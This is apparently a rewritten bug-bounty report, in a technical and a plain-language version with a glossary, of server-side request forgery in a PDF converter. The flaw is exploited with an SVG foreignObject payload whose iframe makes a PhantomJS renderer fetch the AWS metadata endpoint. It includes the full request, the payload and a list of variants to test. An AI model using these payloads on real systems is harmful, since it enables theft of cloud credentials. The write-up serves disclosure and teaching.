SSRF in PDF Renderer using SVG
The PDF conversion feature accepted SVG input and rendered it with PhantomJS, which allowed embedded HTML via foreignObject to make the server fetch attacker-chosen URLs. An attacker could use this to reach the AWS instance metadata endpoint and read cloud credentials.
A Few times ago, I had the opportunity to do Bug Hunting activities in one of the Private Programs at Bugcrowd. In this program, there is a complex application with various features.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a private Bugcrowd program, described in the report as a complex application with a range of features. The feature that mattered here was conversion of objects to PDF, JPG and PNG files from SVG input. In other words, the application accepted SVG data from the user and rendered it server-side into an output file.
Some details of the report, including the target URL and endpoint, were modified to protect the privacy of the program. The host shown in the request below is therefore a placeholder, and the endpoint path is not the real one.
Setup
The work was done during a bug hunting engagement on the private program. The report mentions the Burp Collaborator Client for out-of-band detection, and the captured request carries a Chrome 90 user agent on macOS. The request captured in the report carries a Chrome 90 user agent on macOS, which is simply the browser that generated the multipart body.
No account, role or special precondition is described beyond access to the conversion feature itself.
Finding it
The researcher noticed that the application let the user supply data that was then turned into a PDF. Any server-side renderer that fetches or interprets user-controlled content is a candidate for server-side request forgery, so the first idea was to replace the SVG with HTML containing an iframe pointing at a Burp Collaborator address.
Exploitation
Step 1: try HTML with an iframe
The first attempt sent an iframe inside the multipart field named svg:
POST /convert HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----[redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close
------[redacted]
Content-Disposition: form-data; name="svg"
<iframe src="http://[redacted]/latest/meta-data/"></iframe>
------[redacted]--
The body is a normal multipart form submission with a single part, name="svg", whose value is the HTML iframe. The server rejected it:
{"message": "Error when converting data."}
The conclusion was that the server only processes input that is a valid SVG file, so plain HTML does not get through.
Step 2: embed HTML inside a valid SVG
Searching for a way to put HTML inside SVG led to the foreignObject element, which includes elements from a different XML namespace. In a browser context that namespace is most likely (X)HTML, as the MDN page quoted in the report puts it.
The payload was rewritten as a well-formed SVG document that wraps the iframe in foreignObject and an XHTML body:
This is a valid SVG document, so it passes the validation that rejected the bare iframe, while the foreignObject carries the HTML that the renderer will process. The iframe points at a Burp Collaborator host, so any fetch by the server shows up out of band.
Step 3: confirm the hit and fingerprint the renderer
The Collaborator Client received a hit. Checking the source IP showed that the application runs on Amazon Web Services, and the user agent of the incoming request showed that the SVG was rendered with PhantomJS. That tells you the server-side renderer is a headless browser, which will happily load subresources referenced from the document.
Step 4: read the instance metadata
With the out-of-band fetch confirmed, the iframe source was changed to the AWS instance metadata endpoint:
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://[redacted]/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
[redacted] is the link-local address of the cloud metadata service, reachable from the instance itself. The metadata was successfully obtained, and the rendered output showing it is reproduced in the report.
The finding was reported immediately, marked as P1, and rewarded with $2,150.
Root cause
The renderer accepts user-supplied SVG and processes it with a headless browser, PhantomJS, on the server. Because the document is rendered as a real page, any subresource it references, such as an iframe source, is fetched by the server rather than by the user's browser. The foreignObject element lets HTML live inside a document that still validates as SVG, so input validation that only checks for a valid SVG file does not prevent HTML and its resource references from reaching the renderer. The renderer could reach the link-local metadata address, and the fetched content ended up in the generated output.
Impact
An attacker who can submit SVG to the conversion feature can make the server issue requests to internal addresses such as the AWS metadata service, and the fetched content appeared in the generated output. In this case the instance metadata was retrieved. The severity depends on what the instance can reach and what the metadata exposes; the report does not go into further exploitation of the metadata contents.
Fix
The report does not describe any remediation applied by the program. What should change is the renderer's network access: it should not be able to reach link-local, loopback or internal addresses, and the metadata service should be restricted (for example by requiring a token, as with IMDSv2, or by blocking the address at the network level). Input validation should not rely on the file merely being a valid SVG, since foreignObject allows HTML inside it.
Variants to test
- Submit an SVG with
foreignObjectcontaining aniframe,img,objectorlinkpointing at a Collaborator host. A positive result is an out-of-band hit from the server's IP. - Point the same element at
http://[redacted]/latest/meta-data/and check whether the generated PDF or image contains the metadata listing. - Try other internal targets reachable from the renderer, such as loopback services, and look for their content in the output.
- Check the renderer's user agent in the Collaborator hit to identify the engine, then test payloads that engine supports.
- Try the same conversion feature with other input formats (HTML, XML) to see whether validation can be bypassed in the same way.
What happened, in plain words
A security researcher was testing a private bug bounty program on Bugcrowd. A bug bounty program is a deal where a company invites independent testers to look for security problems in its systems and pays them for valid findings. This particular program was private, meaning only invited researchers could take part.
The application under test was described as complex, with many features. One feature stood out: it could convert objects into PDF, JPG and PNG files, starting from SVG. SVG stands for Scalable Vector Graphics, a text-based image format that describes shapes with tags, much like a web page describes content with HTML. So the application took an image file supplied by the user and turned it into another file format on its own servers.
Whenever a server takes content from a user and processes it, there is a question worth asking: can I make the server do something it should not? In this case the researcher asked whether the server could be tricked into fetching a web address of the researcher's choosing. That class of bug is called server-side request forgery, or SSRF. The idea is simple: the server sits inside a private network and can reach machines that you, sitting at home, cannot. If you can make the server send a request for you, you borrow its network position.
A useful everyday comparison: imagine a company receptionist who will fetch any document you name from any office in the building. You are a visitor in the lobby. You cannot walk into the finance office yourself, but you can ask the receptionist to bring you a file from there, and she will, because she has access and does not question the request.
The researcher's plan was to put a web address into the SVG and see whether the server would load it. To detect the load, the address pointed at a service the researcher controlled, called Burp Collaborator. Burp Collaborator is a tool that gives you a unique hostname and records any request that arrives at it, so you can tell when a server you cannot see has contacted you.
Some details in the report, including the target URL and the endpoint, were changed to protect the privacy of the program. The host shown in the request below is therefore a placeholder, and the endpoint path is not the real one.
Setup
The work was done during a bug hunting engagement on the private program. The report mentions the Burp Collaborator Client for out-of-band detection, and the captured request carries a Chrome 90 user agent on macOS. Burp Suite is a toolkit that sits between your browser and a website so you can inspect and modify the traffic. Out-of-band detection means noticing a signal that arrives through a different channel than the one you are watching, here a request hitting the Collaborator server instead of a response coming back to your browser.
The request captured in the report carries a Chrome 90 user agent on macOS. A user agent is a line of text a browser sends to identify itself. Here it simply shows which browser generated the multipart body.
No account, role or special precondition is described beyond access to the conversion feature itself.
Finding it
The researcher noticed that the application let the user supply data that was then turned into a PDF. Any server-side renderer that fetches or interprets user-controlled content is a candidate for SSRF, because the renderer may follow links or load resources contained in that content. So the first idea was to replace the SVG with HTML containing an iframe pointing at a Burp Collaborator address. An iframe is an HTML tag that embeds another web page inside the current one; when a browser displays the page, it fetches the address in the iframe and shows the result in a small frame.
Exploitation
Step 1: try HTML with an iframe
The first attempt sent an iframe inside the multipart field named svg:
POST /convert HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----[redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close
------[redacted]
Content-Disposition: form-data; name="svg"
<iframe src="http://[redacted]/latest/meta-data/"></iframe>
------[redacted]--
Line by line, in plain words:
POST /convert HTTP/2is the request line.POSTmeans "I am sending data to the server"./convertis the path of the feature that does the conversion.HTTP/2is the version of the web protocol being used.Host: target.comnames the website being contacted. As noted, this is a placeholder.Cookie: -is where the browser would normally send cookies. A cookie is a small piece of data a site stores in your browser, often used to keep you logged in. Here it is shown as a dash, meaning no cookie was sent.Content-Length: -would normally state how many bytes are in the body. It is shown as a dash here.Cache-Control: max-age=0asks that no cached copy be used.Sec-Ch-Ua,Sec-Ch-Ua-Mobile,Upgrade-Insecure-Requests,Dnt,Sec-Fetch-Site,Accept-EncodingandAccept-Languageare headers. A header is a line of extra information attached to a request. These particular ones describe the browser, its language preferences and how it wants the response compressed. They are not the interesting part of the attack; they are simply what the browser sent.Content-Type: multipart/form-data; boundary=----[redacted]says the body is a form submission split into parts. Theboundaryis a marker string used to separate the parts, like a divider between sections of a printed form.User-Agent: Mozilla/5.0 ... Chrome/90.0.4430.93 ...identifies the browser that made the request.Accept: ...lists the response formats the browser is willing to accept.Connection: closeasks the server to close the connection after the response.- The blank line ends the headers and starts the body.
------[redacted]opens the first part of the form.Content-Disposition: form-data; name="svg"names this part. The field is calledsvg, which tells the server this is the image data to convert.- The blank line after it separates the part's headers from its value.
<iframe src="http://[redacted]/latest/meta-data/"></iframe>is the value. It is an HTMLiframewhosesrc(source address) is[redacted], a special address used by cloud providers for an internal service that describes the server itself. The researcher wanted to know whether the server would fetch that address when rendering the input.------[redacted]--closes the form, with the trailing--marking the end.
The body is a normal multipart form submission with a single part, name="svg", whose value is the HTML iframe. The server rejected it:
{"message": "Error when converting data."}
This is a JSON response. JSON is a text format for structured data, and here it is a single object with one field, message, holding a short error string. The conclusion was that the server only processes input that is a valid SVG file, so plain HTML does not get through.
Step 2: embed HTML inside a valid SVG
Searching for a way to put HTML inside SVG led to the foreignObject element, which includes elements from a different XML namespace. XML is a general text format for structured documents, and a namespace is a label that says which vocabulary a tag belongs to, so two different formats can share a document without their tag names colliding. In a browser context that namespace is most likely (X)HTML, as the MDN page quoted in the report puts it.
The payload was rewritten as a well-formed SVG document that wraps the iframe in foreignObject and an XHTML body:
Line by line:
<svg ...>opens an SVG document. The attributes set up the document:xmlns:xlinkdeclares a namespace for link attributes,version="1.1"states the SVG version,class="root"gives it a CSS class name, andwidthandheightset the canvas size to 800 by 500 pixels.<g>is an SVG group, a container that holds other shapes together.<foreignObject width="800" height="500">is the key element. It creates a region inside the SVG where content from another format can be placed. The width and height give that region its size.<body xmlns="http://www.w3.org/1999/xhtml">starts an XHTML body inside the foreign object. Thexmlnsattribute says this content belongs to the XHTML vocabulary, which is HTML written in XML syntax.<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>is the embedded frame. Its source is a Burp Collaborator hostname, redacted here. If the server loads this frame, a request will arrive at the Collaborator and the researcher will see it.- The closing tags
</body>,</foreignObject>,</g>and</svg>close each container in turn.
This is a valid SVG document, so it passes the validation that rejected the bare iframe, while the foreignObject carries the HTML that the renderer will process. The iframe points at a Burp Collaborator host, so any fetch by the server shows up out of band.
Step 3: confirm the hit and fingerprint the renderer
The Collaborator Client received a hit. Checking the source IP showed that the application runs on Amazon Web Services, and the user agent of the incoming request showed that the SVG was rendered with PhantomJS. An IP address is the numeric address of a machine on a network. PhantomJS is a headless browser, meaning a browser engine with no visible window, designed to load and render pages programmatically. That tells you the server-side renderer is a headless browser, which will happily load subresources referenced from the document, such as an iframe source.
Step 4: read the instance metadata
With the out-of-band fetch confirmed, the iframe source was changed to the AWS instance metadata endpoint:
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://[redacted]/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
This is the same document as before, with one change: the src of the iframe now points at http://[redacted]/latest/meta-data/ instead of the Collaborator host. Everything else, the SVG wrapper, the group, the foreign object and the XHTML body, is unchanged, because those parts are what got the payload past validation.
[redacted] is the link-local address of the cloud metadata service, reachable from the instance itself. Link-local means an address that is only valid on the local network segment, not routed across the internet. The metadata service is an internal endpoint that cloud providers expose so an instance can learn about itself, for example its identity and configuration. The metadata was successfully obtained, and the rendered output showing it is reproduced in the report.
The finding was reported immediately, marked as P1, and rewarded with $2,150. P1 is the highest priority level in many bug bounty programs, meaning the issue is considered serious and should be handled quickly.
Root cause
The renderer accepts user-supplied SVG and processes it with a headless browser, PhantomJS, on the server. Because the document is rendered as a real page, any subresource it references, such as an iframe source, is fetched by the server rather than by the user's browser. The foreignObject element lets HTML live inside a document that still validates as SVG, so input validation that only checks for a valid SVG file does not prevent HTML and its resource references from reaching the renderer. The renderer could reach the link-local metadata address, and the fetched content ended up in the generated output.
In everyday terms: the receptionist was told to fetch a document, and the only check was that the request looked like a proper form. The form was proper, but inside it was a note asking for a file from the finance office, and the receptionist delivered it.
Impact
An attacker who can submit SVG to the conversion feature can make the server issue requests to internal addresses such as the AWS metadata service, and the fetched content appeared in the generated output. In this case the instance metadata was retrieved. The severity depends on what the instance can reach and what the metadata exposes; the report does not go into further exploitation of the metadata contents.
Fix
The report does not describe any remediation applied by the program. What should change is the renderer's network access: it should not be able to reach link-local, loopback or internal addresses, and the metadata service should be restricted (for example by requiring a token, as with IMDSv2, or by blocking the address at the network level). Loopback means the machine's own address, used to talk to services running on the same host. IMDSv2 is a version of the AWS metadata service that requires a session token before answering. Input validation should not rely on the file merely being a valid SVG, since foreignObject allows HTML inside it.
Variants to test
- Submit an SVG with
foreignObjectcontaining aniframe,img,objectorlinkpointing at a Collaborator host. A positive result is an out-of-band hit from the server's IP. - Point the same element at
http://[redacted]/latest/meta-data/and check whether the generated PDF or image contains the metadata listing. - Try other internal targets reachable from the renderer, such as loopback services, and look for their content in the output.
- Check the renderer's user agent in the Collaborator hit to identify the engine, then test payloads that engine supports.
- Try the same conversion feature with other input formats (HTML, XML) to see whether validation can be bypassed in the same way.
Glossary
- Bug bounty program: an arrangement where a company pays independent researchers for reporting security problems in its systems.
- Private program: a bug bounty program open only to invited researchers.
- SVG: Scalable Vector Graphics, a text-based image format that describes shapes with tags.
- PDF, JPG, PNG: common file formats for documents and images.
- Server-side: happening on the company's servers rather than in your browser.
- Renderer: software that turns a document into a visible or printable result.
- SSRF (server-side request forgery): a bug where an attacker makes a server send requests to addresses the attacker chooses.
- Burp Suite: a toolkit for inspecting and modifying web traffic between a browser and a site.
- Burp Collaborator: a service that gives you a unique hostname and records any request that reaches it, used to detect out-of-band traffic.
- Out-of-band detection: noticing a signal that arrives through a different channel than the one you are watching.
- User agent: a line of text a browser or tool sends to identify itself.
- Header: a line of extra information attached to a web request or response.
- Cookie: a small piece of data a site stores in your browser, often to keep you logged in.
- Multipart form: a way of sending form data split into named parts, separated by a boundary string.
- Boundary: the marker string that separates the parts of a multipart form.
- JSON: a text format for structured data, made of objects with named fields.
- HTML: the language web pages are written in.
- iframe: an HTML tag that embeds another web page inside the current one.
- XML: a general text format for structured documents.
- Namespace: a label that says which vocabulary a tag belongs to, so different formats can share a document.
- XHTML: HTML written in XML syntax.
- foreignObject: an SVG element that creates a region where content from another format, such as XHTML, can be placed.
- IP address: the numeric address of a machine on a network.
- Link-local address: an address valid only on the local network segment, not routed across the internet.
- Metadata service: an internal cloud endpoint that lets an instance learn about itself.
- Headless browser: a browser engine with no visible window, used to load and render pages programmatically.
- PhantomJS: a headless browser engine.
- Loopback: the machine's own address, used to talk to services running on the same host.
- IMDSv2: a version of the AWS metadata service that requires a session token before answering.
- P1: the highest priority level in many bug bounty programs.